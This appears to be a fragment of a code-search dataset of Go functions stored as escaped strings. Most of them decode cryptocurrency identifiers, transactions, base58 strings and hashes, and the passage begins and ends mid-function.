DecodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%x:%x:%x\", flags, addr, secretHash), nil\n}", "func (btc *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newOutput(btc.node, txHash, vout, coin.Value(), coin.Redeem()), nil\n}", "func (api *API) consensusGetUnspentCoinOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.CoinOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetCoinOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentCoinOutput{Output: output})\n}", "func (_DevUtils *DevUtilsCaller) DecodeAssetProxyId(opts *bind.CallOpts, assetData []byte) ([4]byte, error) {\n\tvar (\n\t\tret0 = new([4]byte)\n\t)\n\tout := ret0\n\terr := _DevUtils.contract.Call(opts, out, \"decodeAssetProxyId\", assetData)\n\treturn *ret0, err\n}", "func ExtractInputTxID(input []byte) btcspv.Hash256Digest {\n\tLE := btcspv.ExtractInputTxIDLE(input)\n\ttxID := btcspv.ReverseHash256Endianness(LE)\n\treturn txID\n}", "func (this *DtNavMesh) DecodePolyId(ref DtPolyRef, salt, it, ip *uint32) {\n\tsaltMask := (uint32(1) << this.m_saltBits) - 1\n\ttileMask := (uint32(1) << this.m_tileBits) - 1\n\tpolyMask := (uint32(1) << this.m_polyBits) - 1\n\t*salt = ((uint32(ref) >> (this.m_polyBits + this.m_tileBits)) & saltMask)\n\t*it = ((uint32(ref) >> this.m_polyBits) & tileMask)\n\t*ip = (uint32(ref) & polyMask)\n}", "func Base58Decode(input []byte) []byte {\n\tdecode, err := base58.Decode(string(input[:]))\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn decode\n}", "func Base58Decode(input []byte) []byte {\n\tdecode, err := base58.Decode(string(input[:]))\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn decode\n}", "func bitcoinDecodeRawTransaction(tx []byte, reply *bitcoinTransaction) error {\n\tglobalBitcoinData.Lock()\n\tdefer globalBitcoinData.Unlock()\n\n\tif !globalBitcoinData.initialised {\n\t\treturn fault.ErrNotInitialised\n\t}\n\n\t// need to be in hex for bitcoind\n\targuments := []interface{}{\n\t\thex.EncodeToString(tx),\n\t}\n\treturn bitcoinCall(\"decoderawtransaction\", arguments, reply)\n}", "func Decode(id string) (string, error) {\n\tif strings.HasPrefix(id, \"bpm-\") {\n\t\tid = id[4:]\n\t} else {\n\t\treturn \"\", fmt.Errorf(\"invalid job ID (missing prefix): %q\", id)\n\t}\n\n\tvar name strings.Builder\n\tfor i := 0; i < len(id); i++ {\n\t\tchr := id[i]\n\t\tif chr == '.' {\n\t\t\tif i+2 > len(id) {\n\t\t\t\treturn \"\", fmt.Errorf(\"invalid job ID (incomplete escape sequence): %q\", id)\n\t\t\t}\n\n\t\t\tcode := id[i+1 : i+3]\n\t\t\tif res, err := hex.DecodeString(code); err == nil {\n\t\t\t\tname.Write(res)\n\t\t\t}\n\t\t\ti += 2\n\t\t} else {\n\t\t\tname.WriteByte(chr)\n\t\t}\n\t}\n\n\treturn name.String(), nil\n}", "func decodeTransactionOutputs(buf []byte, obj *transactionOutputs) (uint64, error) {\n\td := &encoder.Decoder{\n\t\tBuffer: buf[:],\n\t}\n\n\t{\n\t\t// obj.Out\n\n\t\tul, err := d.Uint32()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tlength := int(ul)\n\t\tif length < 0 || length > len(d.Buffer) {\n\t\t\treturn 0, encoder.ErrBufferUnderflow\n\t\t}\n\n\t\tif length > 65535 {\n\t\t\treturn 0, encoder.ErrMaxLenExceeded\n\t\t}\n\n\t\tif length != 0 {\n\t\t\tobj.Out = make([]TransactionOutput, length)\n\n\t\t\tfor z1 := range obj.Out {\n\t\t\t\t{\n\t\t\t\t\t// obj.Out[z1].Address.Version\n\t\t\t\t\ti, err := d.Uint8()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn 0, err\n\t\t\t\t\t}\n\t\t\t\t\tobj.Out[z1].Address.Version = i\n\t\t\t\t}\n\n\t\t\t\t{\n\t\t\t\t\t// obj.Out[z1].Address.Key\n\t\t\t\t\tif len(d.Buffer) < len(obj.Out[z1].Address.Key) {\n\t\t\t\t\t\treturn 0, encoder.ErrBufferUnderflow\n\t\t\t\t\t}\n\t\t\t\t\tcopy(obj.Out[z1].Address.Key[:], d.Buffer[:len(obj.Out[z1].Address.Key)])\n\t\t\t\t\td.Buffer = d.Buffer[len(obj.Out[z1].Address.Key):]\n\t\t\t\t}\n\n\t\t\t\t{\n\t\t\t\t\t// obj.Out[z1].Coins\n\t\t\t\t\ti, err := d.Uint64()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn 0, err\n\t\t\t\t\t}\n\t\t\t\t\tobj.Out[z1].Coins = i\n\t\t\t\t}\n\n\t\t\t\t{\n\t\t\t\t\t// obj.Out[z1].Hours\n\t\t\t\t\ti, err := d.Uint64()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn 0, err\n\t\t\t\t\t}\n\t\t\t\t\tobj.Out[z1].Hours = i\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\treturn uint64(len(buf) - len(d.Buffer)), nil\n}", "func deriveChainID(v *big.Int) *big.Int {\n\tif v.BitLen() <= 64 {\n\t\tv := v.Uint64()\n\t\tif v == 27 || v == 28 {\n\t\t\treturn new(big.Int)\n\t\t}\n\t\treturn new(big.Int).SetUint64((v - 35) / 2)\n\t}\n\tv = new(big.Int).Sub(v, big.NewInt(35))\n\treturn v.Div(v, big.NewInt(2))\n}", "func deriveChainID(v *big.Int) *big.Int {\n\tif v.BitLen() <= 64 {\n\t\tv := v.Uint64()\n\t\tif v == 27 || v == 28 {\n\t\t\treturn new(big.Int)\n\t\t}\n\t\treturn new(big.Int).SetUint64((v - 35) / 2)\n\t}\n\tv = new(big.Int).Sub(v, big.NewInt(35))\n\treturn v.Div(v, big.NewInt(2))\n}", "func decode(src []byte) ([]byte, int, error) {\n\tb := string(src)\n\tanswer := big.NewInt(0)\n\tj := big.NewInt(1)\n\n\tfor i := len(b) - 1; i >= 0; i-- {\n\t\ttmp := strings.IndexAny(base58table, string(b[i]))\n\t\tif tmp == -1 {\n\t\t\tfmt.Println(b)\n\t\t\treturn []byte(\"\"), 0,\n\t\t\t\terrors.New(\"encoding/base58: invalid character found: ~\" +\n\t\t\t\t\tstring(b[i]) + \"~\")\n\t\t}\n\t\tidx := big.NewInt(int64(tmp))\n\t\ttmp1 := big.NewInt(0)\n\t\ttmp1.Mul(j, idx)\n\n\t\tanswer.Add(answer, tmp1)\n\t\tj.Mul(j, big.NewInt(radix))\n\t}\n\n\ttmpval := answer.Bytes()\n\n\tvar numZeros int\n\tfor numZeros = 0; numZeros < len(b); numZeros++ {\n\t\tif b[numZeros] != base58table[0] {\n\t\t\tbreak\n\t\t}\n\t}\n\tflen := numZeros + len(tmpval)\n\tval := make([]byte, flen, flen)\n\tcopy(val[numZeros:], tmpval)\n\treturn val, len(val), nil\n}", "func ParseDecCoin(coinStr string) (coin DecCoin, err error) {\n\tcoinStr = strings.TrimSpace(coinStr)\n\n\tmatches := reDecCoin.FindStringSubmatch(coinStr)\n\tif matches == nil {\n\t\treturn coin, fmt.Errorf(\"invalid decimal coin expression: %s\", coinStr)\n\t}\n\n\tamountStr, denomStr := matches[1], matches[2]\n\n\tamount, err := NewDecFromStr(amountStr)\n\tif err != nil {\n\t\treturn coin, fmt.Errorf(\"failed to parse decimal coin amount: %s, %s\", amountStr, err.Error())\n\t}\n\n\tif err := validateDenom(denomStr); err != nil {\n\t\treturn coin, fmt.Errorf(\"invalid denom cannot contain upper case characters or spaces: %s\", err)\n\t}\n\n\treturn NewDecCoinFromDec(denomStr, amount), nil\n}", "func (ed EncodeDecoder) Decode(s string) int64 {\n\tb := []byte(s)\n\n\tvar id int64\n\n\tfor i := range b {\n\t\tid = id*58 + int64(ed.decodeBase58Map[b[i]])\n\t}\n\n\tid -= ed.offset\n\n\treturn id\n}", "func ToEthereumChainID(chainID string) (*big.Int, error) {\n\t// This is the same way that LoomProvider in loom-js converts the chain ID\n\tchainIDHash := hex.EncodeToString(crypto.Keccak256([]byte(chainID)))\n\tif len(chainIDHash) < 13 {\n\t\treturn nil, errors.New(\"invalid chain ID hash\")\n\t}\n\tethChainID, ok := big.NewInt(0).SetString(chainIDHash[0:13], 16)\n\tif !ok {\n\t\treturn nil, errors.New(\"failed to convert chain ID to integer\")\n\t}\n\treturn ethChainID, nil\n}", "func (io *FactoidTransactionIO) Decode(data []byte) (int, error) {\n\tamount, i := varintf.Decode(data)\n\tif i < 0 {\n\t\treturn 0, fmt.Errorf(\"amount is not a valid varint\")\n\t}\n\tio.Amount = amount\n\n\tif len(data)-i < 32 {\n\t\treturn 0, fmt.Errorf(\"not enough bytes to decode factoidtx\")\n\t}\n\tvar tmp Bytes32 // TODO: Fix this\n\tcopy(tmp[:], data[i:i+32])\n\tio.Address = tmp\n\ti += 32\n\n\treturn i, nil\n}", "func Base58Decode(input []byte) []byte {\n\tresult := big.NewInt(0)\n\n\tfor _, b := range input {\n\t\tcharIndex := bytes.IndexByte(b58Alphabet, b)\n\t\tresult.Mul(result, big.NewInt(58))\n\t\tresult.Add(result, big.NewInt(int64(charIndex)))\n\t}\n\n\tdecoded := result.Bytes()\n\n\tif input[0] == b58Alphabet[0] {\n\t\tdecoded = append([]byte{0x00}, decoded...)\n\t}\n\treturn decoded\n}", "func checkDecode(input string, curve CurveID) (result []byte, err error) {\n\tdecoded := base58.Decode(input)\n\tif len(decoded) < 5 {\n\t\treturn nil, fmt.Errorf(\"invalid format\")\n\t}\n\tvar cksum [4]byte\n\tcopy(cksum[:], decoded[len(decoded)-4:])\n\t///// WARN: ok the ripemd160checksum should include the prefix in CERTAIN situations,\n\t// like when we imported the PubKey without a prefix ?! tied to the string representation\n\t// or something ? weird.. checksum shouldn't change based on the string reprsentation.\n\tif bytes.Compare(ripemd160checksum(decoded[:len(decoded)-4], curve), cksum[:]) != 0 {\n\t\treturn nil, fmt.Errorf(\"invalid checksum\")\n\t}\n\t// perhaps bitcoin has a leading net ID / version, but EOS doesn't\n\tpayload := decoded[:len(decoded)-4]\n\tresult = append(result, payload...)\n\treturn\n}", "func (_DevUtils *DevUtilsSession) DecodeAssetProxyId(assetData []byte) ([4]byte, error) {\n\treturn _DevUtils.Contract.DecodeAssetProxyId(&_DevUtils.CallOpts, assetData)\n}", "func (c *Coinbase) Decode(r io.Reader) error {\n\n\tvar Type uint8\n\tif err := encoding.ReadUint8(r, &Type); err != nil {\n\t\treturn err\n\t}\n\tc.TxType = TxType(Type)\n\n\tif err := encoding.Read256(r, &c.R); err != nil {\n\t\treturn err\n\t}\n\n\tif err := encoding.Read256(r, &c.Score); err != nil {\n\t\treturn err\n\t}\n\n\tif err := encoding.ReadVarBytes(r, &c.Proof); err != nil {\n\t\treturn err\n\t}\n\n\tlRewards, err := encoding.ReadVarInt(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.Rewards = make(Outputs, lRewards)\n\tfor i := uint64(0); i < lRewards; i++ {\n\t\tc.Rewards[i] = &Output{}\n\t\tif err := c.Rewards[i].Decode(r); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func Base58Decode(input []byte) []byte {\n\tresult := big.NewInt(0)\n\n\tfor _, b := range input {\n\t\tcharIndex := bytes.IndexByte(b58Alphabet, b)\n\t\tresult.Mul(result, big.NewInt(58))\n\t\tresult.Add(result, big.NewInt(int64(charIndex)))\n\t}\n\n\tdecoded := result.Bytes()\n\n\tif input[0] == b58Alphabet[0] {\n\t\tdecoded = append([]byte{0x00}, decoded...)\n\t}\n\n\treturn decoded\n}", "func (_DevUtils *DevUtilsCallerSession) DecodeAssetProxyId(assetData []byte) ([4]byte, error) {\n\treturn _DevUtils.Contract.DecodeAssetProxyId(&_DevUtils.CallOpts, assetData)\n}", "func FromIDTo64(id string) uint64 {\n\tidParts := strings.Split(id, \":\")\n\tmagic, _ := new(big.Int).SetString(\"76561197960265728\", 10)\n\tsteam64, _ := new(big.Int).SetString(idParts[2], 10)\n\tsteam64 = steam64.Mul(steam64, big.NewInt(2))\n\tsteam64 = steam64.Add(steam64, magic)\n\tauth, _ := new(big.Int).SetString(idParts[1], 10)\n\treturn steam64.Add(steam64, auth).Uint64()\n}", "func TestCalcTxID2(t *testing.T) {\n\thex, _ := hex.DecodeString(\"0200000001ab7eb14cb93b3fe7912ca748c2d3ed8fd46f8f89d07de74501a1b2e52cccf865010000006a47304402204b29409ce1fa7e3f833bcf8a6a67e263f3f0c5a266e70431063f52e751673856022009dcc5251da1cebead16771f7b31c5583df63aea948764ca80e02027b2aac1a0412102f798925328c78e8bc55ea911babbbf197ed40ae24261c79087981627e06d3d5effffffff015b4d0000000000001976a9145e9997f0cfc486fb8bb137a018ad70b1ebd8da8d88ac00000000\")\n\tt.Logf(\"%x\\n\", cryptolib.Sha256d(hex))\n}", "func (ctx *DBCtx) DecodeId(hex string) bson.ObjectId {\n\tif bson.IsObjectIdHex(hex) {\n\t\treturn bson.ObjectIdHex(hex)\n\t}\n\tvar invalid bson.ObjectId\n\treturn invalid\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\n\treturn base64.StdEncoding.DecodeString(prefixRegex.ReplaceAllString(encoded, \"\"))\n}", "func decodeTransaction(rawTx string) (*wire.MsgTx, error) {\n\theaderBytes, err := hex.DecodeString(rawTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode a hex string: [%w]\", err)\n\t}\n\n\tbuf := bytes.NewBuffer(headerBytes)\n\n\tvar t wire.MsgTx\n\tif err := t.Deserialize(buf); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deserialize a transaction: [%w]\", err)\n\t}\n\n\treturn &t, nil\n}", "func (scoid *SiacoinOutputID) UnmarshalJSON(b []byte) error {\n\treturn (*crypto.Hash)(scoid).UnmarshalJSON(b)\n}", "func DecodePeerAddress(x string) string {\n\treturn nettools.BinaryToDottedPort(x)\n}", "func (msg *MsgTx) VVSDecode(r io.Reader, pver uint32, enc MessageEncoding) error {\n\terr := serialization.ReadUint32(r, &msg.Version)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcount, err := serialization.ReadVarInt(r, pver)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Prevent more input transactions than could possibly fit into a\n\t// message. It would be possible to cause memory exhaustion and panics\n\t// without a sane upper bound on this count.\n\tif count > uint64(MaxTxInPerMessage) {\n\t\tstr := fmt.Sprintf(\"too many input transactions to fit into \"+\n\t\t\t\"max message size [count %d, max %d]\", count,\n\t\t\tMaxTxInPerMessage)\n\t\treturn messageError(\"MsgTx.VVSDecode\", str)\n\t}\n\n\t// returnScriptBuffers is a closure that returns any script buffers that\n\t// were borrowed from the pool when there are any deserialization\n\t// errors. This is only valid to call before the final step which\n\t// replaces the scripts with the location in a contiguous buffer and\n\t// returns them.\n\treturnScriptBuffers := func() {\n\t\tfor _, txIn := range msg.TxIn {\n\t\t\tif txIn == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif txIn.SignatureScript != nil {\n\t\t\t\tscriptPool.Return(txIn.SignatureScript)\n\t\t\t}\n\t\t}\n\t\tfor _, txOut := range msg.TxOut {\n\t\t\tif txOut == nil || txOut.PkScript == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tscriptPool.Return(txOut.PkScript)\n\t\t}\n\t}\n\n\t// Deserialize the inputs.\n\tvar totalScriptSize uint64\n\ttxIns := make([]TxIn, count)\n\tmsg.TxIn = make([]*TxIn, count)\n\tfor i := uint64(0); i < count; i++ {\n\t\t// The pointer is set now in case a script buffer is borrowed\n\t\t// and needs to be returned to the pool on error.\n\t\tti := &txIns[i]\n\t\tmsg.TxIn[i] = ti\n\t\terr = readTxIn(r, pver, ti)\n\t\tif err != nil {\n\t\t\treturnScriptBuffers()\n\t\t\treturn err\n\t\t}\n\n\t\ttotalScriptSize += uint64(len(ti.SignatureScript))\n\t}\n\n\tcount, err = serialization.ReadVarInt(r, pver)\n\tif err != nil {\n\t\treturnScriptBuffers()\n\t\treturn err\n\t}\n\n\ttxoutCount := count\n\t// Prevent more output transactions than could possibly fit into a\n\t// message. It would be possible to cause memory exhaustion and panics\n\t// without a sane upper bound on this count.\n\tif txoutCount > uint64(MaxTxOutPerMessage) {\n\t\treturnScriptBuffers()\n\t\tstr := fmt.Sprintf(\"too many output transactions to fit into \"+\n\t\t\t\"max message size [count %d, max %d]\", txoutCount,\n\t\t\tMaxTxOutPerMessage)\n\t\treturn messageError(\"MsgTx.VVSDecode\", str)\n\t}\n\n\t// Deserialize the outputs.\n\ttxOuts := make([]TxOut, txoutCount)\n\tmsg.TxOut = make([]*TxOut, txoutCount)\n\tfor i := uint64(0); i < txoutCount; i++ {\n\t\t// The pointer is set now in case a script buffer is borrowed\n\t\t// and needs to be returned to the pool on error.\n\t\tto := &txOuts[i]\n\t\tmsg.TxOut[i] = to\n\t\terr = readTxOut(r, pver, to)\n\t\tif err != nil {\n\t\t\treturnScriptBuffers()\n\t\t\treturn err\n\t\t}\n\t\ttotalScriptSize += uint64(len(to.PkScript))\n\t}\n\n\t// The pointer is set now in case a script buffer is borrowed\n\t// and needs to be returned to the pool on error.\n\terr = readTxContract(r, &msg.TxContract)\n\tif err != nil {\n\t\treturnScriptBuffers()\n\t\treturn err\n\t}\n\n\terr = serialization.ReadUint32(r, &msg.LockTime)\n\tif err != nil {\n\t\treturnScriptBuffers()\n\t\treturn err\n\t}\n\n\t// Create a single allocation to house all of the scripts and set each\n\t// input signature script and output public key script to the\n\t// appropriate subslice of the overall contiguous buffer. Then, return\n\t// each individual script buffer back to the pool so they can be reused\n\t// for future deserializations. This is done because it significantly\n\t// reduces the number of allocations the garbage collector needs to\n\t// track, which in turn improves performance and drastically reduces the\n\t// amount of runtime overhead that would otherwise be needed to keep\n\t// track of millions of small allocations.\n\t//\n\t// NOTE: It is no longer valid to call the returnScriptBuffers closure\n\t// after these blocks of code run because it is already done and the\n\t// scripts in the transaction inputs and outputs no longer point to the\n\t// buffers.\n\tvar offset uint64\n\tscripts := make([]byte, totalScriptSize)\n\tfor i := 0; i < len(msg.TxIn); i++ {\n\t\t// Copy the signature script into the contiguous buffer at the\n\t\t// appropriate offset.\n\t\tsignatureScript := msg.TxIn[i].SignatureScript\n\t\tcopy(scripts[offset:], signatureScript)\n\n\t\t// Reset the signature script of the transaction input to the\n\t\t// slice of the contiguous buffer where the script lives.\n\t\tscriptSize := uint64(len(signatureScript))\n\t\tend := offset + scriptSize\n\t\tmsg.TxIn[i].SignatureScript = scripts[offset:end:end]\n\t\toffset += scriptSize\n\n\t\t// Return the temporary script buffer to the pool.\n\t\tscriptPool.Return(signatureScript)\n\t}\n\tfor i := 0; i < len(msg.TxOut); i++ {\n\t\t// Copy the public key script into the contiguous buffer at the\n\t\t// appropriate offset.\n\t\tpkScript := msg.TxOut[i].PkScript\n\t\tcopy(scripts[offset:], pkScript)\n\n\t\t// Reset the public key script of the transaction output to the\n\t\t// slice of the contiguous buffer where the script lives.\n\t\tscriptSize := uint64(len(pkScript))\n\t\tend := offset + scriptSize\n\t\tmsg.TxOut[i].PkScript = scripts[offset:end:end]\n\t\toffset += scriptSize\n\n\t\t// Return the temporary script buffer to the pool.\n\t\tscriptPool.Return(pkScript)\n\t}\n\n\treturn nil\n}", "func PeerNameFromBin(nameByte []byte) PeerName {\n\treturn PeerName(hex.EncodeToString(nameByte))\n}", "func deserializeKidOutput(r io.Reader) (*kidOutput, error) {\n\tscratch := make([]byte, 8)\n\n\tkid := &kidOutput{}\n\n\tif _, err := r.Read(scratch[:]); err != nil {\n\t\treturn nil, err\n\t}\n\tkid.amt = btcutil.Amount(byteOrder.Uint64(scratch[:]))\n\n\terr := readOutpoint(io.LimitReader(r, 40), &kid.outPoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = readOutpoint(io.LimitReader(r, 40), &kid.originChanPoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err := r.Read(scratch[:4]); err != nil {\n\t\treturn nil, err\n\t}\n\tkid.blocksToMaturity = byteOrder.Uint32(scratch[:4])\n\n\tif _, err := r.Read(scratch[:4]); err != nil {\n\t\treturn nil, err\n\t}\n\tkid.confHeight = byteOrder.Uint32(scratch[:4])\n\n\tif _, err := r.Read(scratch[:2]); err != nil {\n\t\treturn nil, err\n\t}\n\tkid.witnessType = lnwallet.WitnessType(byteOrder.Uint16(scratch[:2]))\n\n\tkid.signDescriptor = &lnwallet.SignDescriptor{}\n\tif err := lnwallet.ReadSignDescriptor(r, kid.signDescriptor); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn kid, nil\n}", "func (o *CommitteeInfoResponse) GetChainId() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.ChainId\n}", "func DecodeTxResponse(data []byte) (MsgEthereumTxResponse, error) {\n\tvar txResponse MsgEthereumTxResponse\n\terr := proto.Unmarshal(data, &txResponse)\n\tif err != nil {\n\t\treturn MsgEthereumTxResponse{}, err\n\t}\n\treturn txResponse, nil\n}", "func decodePid(s string) (*pid, error) {\n\tidsAndSeq := strings.Split(s, \"~\")\n\tif len(idsAndSeq) != 2 {\n\t\treturn nil, fmt.Errorf(\"invalid pid: %s\", s)\n\t}\n\tseq, err := common.Atoi(idsAndSeq[1])\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid seq: %s\", s)\n\t}\n\tidStrs := strings.Split(idsAndSeq[0], \":\")\n\tids := make([]id, len(idStrs))\n\tfor i, v := range idStrs {\n\t\tparts := strings.Split(v, \".\")\n\t\tif len(parts) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"invalid id: %s\", v)\n\t\t}\n\t\tpos, err := common.Atoi(parts[0])\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid pos: %s\", v)\n\t\t}\n\t\tagentId, err := common.Atoi(parts[1])\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid agentId: %s\", v)\n\t\t}\n\t\tids[i] = id{Pos: uint32(pos), AgentId: agentId}\n\t}\n\treturn &pid{Ids: ids, Seq: seq}, nil\n}", "func GetCoinByID(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tcoinID := params[\"id\"]\n\tids := append([]string{}, coinID)\n\tcoin, err := mktcap.TickerNowByIDList(ids, mktcapConf)\n\tif err != nil {\n\t\tglog.Errorln(err)\n\t\tfmt.Fprintf(w, err.Error())\n\n\t}\n\tif len(coin) == 1 {\n\t\tmsg := fmt.Sprintf(\"%s (btc:%.8f)(usd:%.2f) (1hChg:%.2f)(24hrChg:%.2f)(7dayChg:%.2f)(lastupdate:%s)\",\n\t\t\tcoin[0].Name, coin[0].PriceBtc, coin[0].PriceUsd,\n\t\t\tcoin[0].PercentChange1h, coin[0].PercentChange24h,\n\t\t\tcoin[0].PercentChange7d, time.Unix(coin[0].LastUpdated, 0))\n\t\tfmt.Fprintf(w, msg)\n\t} else {\n\t\tfmt.Fprintf(w, \"please check data retrieve\")\n\t}\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\treturn base64.StdEncoding.DecodeString(strings.TrimPrefix(encoded, vaultV1DataPrefix))\n}", "func BlockIDFromProto(bID *tmproto.BlockID) (*BlockID, error) {\n\tif bID == nil {\n\t\treturn nil, errors.New(\"nil BlockID\")\n\t}\n\n\tblockID := new(BlockID)\n\t// ph, err := PartSetHeaderFromProto(&bID.PartSetHeader)\n\t// if err != nil {\n\t// \treturn nil, err\n\t// }\n\n\t// blockID.PartSetHeader = *ph\n\tblockID.Hash = bID.Hash\n\n\treturn blockID, blockID.ValidateBasic()\n}", "func outpointID(txid string, vout uint32) string {\n\treturn txid + \":\" + strconv.Itoa(int(vout))\n}", "func (hashObj *Hash) Decode(dst *Hash, src string) error {\n\t// Return error if hash string is too long.\n\tif len(src) > MaxHashStringSize {\n\t\treturn ErrHashStrSize\n\t}\n\n\t// Hex decoder expects the hash to be a multiple of two. When not, pad\n\t// with a leading zero.\n\tvar srcBytes []byte\n\tif len(src)%2 == 0 {\n\t\tsrcBytes = []byte(src)\n\t} else {\n\t\tsrcBytes = make([]byte, 1+len(src))\n\t\tsrcBytes[0] = '0'\n\t\tcopy(srcBytes[1:], src)\n\t}\n\n\t// Hex decode the source bytes to a temporary destination.\n\tvar reversedHash Hash\n\t_, err := hex.Decode(reversedHash[HashSize-hex.DecodedLen(len(srcBytes)):], srcBytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Reverse copy from the temporary hash to destination. Because the\n\t// temporary was zeroed, the written result will be correctly padded.\n\tfor i, b := range reversedHash[:HashSize/2] {\n\t\tdst[i], dst[HashSize-1-i] = reversedHash[HashSize-1-i], b\n\t}\n\n\treturn nil\n}", "func txOutID(txHash *chainhash.Hash, index uint32) string {\n\treturn txHash.String() + \":\" + strconv.Itoa(int(index))\n}", "func Download(id string) (string, error) {\n\tmetadata := check(id)\n\tprintln(\"Fetching, converting, buffering...\")\n\tif metadata[\"sid\"] != \"0\" && metadata[\"ce\"] != \"0\" {\n\t\treturn fetch(id, metadata[\"hash\"], serverIDs[metadata[\"sid\"]])\n\t}\n\treturn convert(id, metadata[\"hash\"])\n}", "func (this *DtNavMesh) DecodePolyIdSalt(ref DtPolyRef) uint32 {\n\tsaltMask := (uint32(1) << this.m_saltBits) - 1\n\treturn ((uint32(ref) >> (this.m_polyBits + this.m_tileBits)) & saltMask)\n}", "func GetDepositIDFromBytes(bz []byte) uint64 {\n\treturn binary.BigEndian.Uint64(bz)\n}", "func chainID(chain []*x509.Certificate) string {\n\thashes := []string{}\n\tfor _, c := range chain {\n\t\thashes = append(hashes, fmt.Sprintf(\"%x\", sha256.Sum256(c.Raw)))\n\t}\n\tsort.Strings(hashes)\n\th := sha256.New()\n\tfor _, hStr := range hashes {\n\t\th.Write([]byte(hStr))\n\t}\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "func DecodeInfoHash(x string) (b InfoHash, err error) {\n\tvar h []byte\n\th, err = hex.DecodeString(x)\n\tif len(h) != 20 {\n\t\treturn \"\", fmt.Errorf(\"DecodeInfoHash: expected InfoHash len=20, got %d\", len(h))\n\t}\n\treturn InfoHash(h), err\n}", "func DecodeVarInt(b []byte) (result uint64, size int) {\n\tswitch b[0] {\n\tcase 0xff:\n\t\tresult = binary.LittleEndian.Uint64(b[1:9])\n\t\tsize = 9\n\n\tcase 0xfe:\n\t\tresult = uint64(binary.LittleEndian.Uint32(b[1:5]))\n\t\tsize = 5\n\n\tcase 0xfd:\n\t\tresult = uint64(binary.LittleEndian.Uint16(b[1:3]))\n\t\tsize = 3\n\n\tdefault:\n\t\tresult = uint64(binary.LittleEndian.Uint16([]byte{b[0], 0x00}))\n\t\tsize = 1\n\t}\n\n\treturn\n}", "func DecodeSID(sid string) (int64, error) {\n\treturn base62.Decode(sid)\n}", "func b58decode(s string) (b []byte, err error) {\n\t/* See https://en.bitcoin.it/wiki/Base58Check_encoding */\n\n\tconst BITCOIN_BASE58_TABLE = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n\n\t/* Initialize */\n\tx := big.NewInt(0)\n\tm := big.NewInt(58)\n\n\t/* Convert string to big int */\n\tfor i := 0; i < len(s); i++ {\n\t\tb58index := strings.IndexByte(BITCOIN_BASE58_TABLE, s[i])\n\t\tif b58index == -1 {\n\t\t\treturn nil, fmt.Errorf(\"Invalid base-58 character encountered: '%c', index %d.\", s[i], i)\n\t\t}\n\t\tb58value := big.NewInt(int64(b58index))\n\t\tx.Mul(x, m)\n\t\tx.Add(x, b58value)\n\t}\n\n\t/* Convert big int to big endian bytes */\n\tb = x.Bytes()\n\n\treturn b, nil\n}", "func Decode(dst *Hash, src string) error {\n\t// Return error if hash string is too long.\n\tif len(src) > MaxHashStringSize {\n\t\treturn ErrHashStrSize\n\t}\n\n\t// Hex decoder expects the hash to be a multiple of two. When not, pad\n\t// with a leading zero.\n\tvar srcBytes []byte\n\tif len(src)%2 == 0 {\n\t\tsrcBytes = []byte(src)\n\t} else {\n\t\tsrcBytes = make([]byte, 1+len(src))\n\t\tsrcBytes[0] = '0'\n\t\tcopy(srcBytes[1:], src)\n\t}\n\n\t// Hex decode the source bytes to a temporary destination.\n\tvar reversedHash Hash\n\t_, err := hex.Decode(reversedHash[HashSize-hex.DecodedLen(len(srcBytes)):], srcBytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Reverse copy from the temporary hash to destination. Because the\n\t// temporary was zeroed, the written 